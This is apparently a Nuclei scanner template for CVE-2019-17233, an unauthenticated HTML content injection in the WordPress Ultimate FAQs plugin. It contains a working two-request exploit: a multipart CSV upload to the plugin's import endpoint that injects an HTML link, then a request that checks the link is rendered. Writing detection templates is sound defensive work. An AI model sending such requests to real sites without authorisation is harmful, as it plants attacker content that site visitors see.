WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated HTML Content Injection

id: CVE-2019-17233

info:
  name: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated HTML Content Injection
  author: daffainfo
  severity: medium
  description: |
    Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows HTML content injection.
  impact: |
    Unauthenticated attackers can inject arbitrary HTML content through FAQ imports, potentially embedding malicious links or scripts that will be displayed to site visitors.
  remediation: |
    Update the Ultimate FAQs plugin to version 1.8.25 or later.
  reference:
    - https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17233
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-17233
    epss-score: 0.01843
    epss-percentile: 0.76427
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: etoilewebdesign
    product: ultimate_faq
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-faqs"
  tags: cve,cve2019,wordpress,wp-plugin,wp,ultimate-faqs,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  question: "{{randstr}}"
  url: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5

        ------WebKitFormBoundary34ZHf69LbDjZlcL5
        Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="{{filename}}.csv"
        Content-Type: application/csv

        "Question","Answer","Categories","Tags","Post Date"
        "{{question}}","<!-- wp:html --><a href='http://{{url}}'>{{string}}</a><!-- /wp:html -->","","","2025-09-17 17:16:33"
        ------WebKitFormBoundary34ZHf69LbDjZlcL5--

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location, 'reauth=1')
        condition: and
        internal: true

  - raw:
      - |
        GET /?ufaq={{question}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<a href='http://{{url}}'>{{string}}</a>"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cbf68fe2488ffba13efd25bdce200afb4396f7cbb33b6b33b57feb91799d001a02201195b79590eb30f2b9e13c87c461c902b9889bc4dfcb40b36af5ba4741ee5b0a:922c64590222798bb761d5b6d8e72950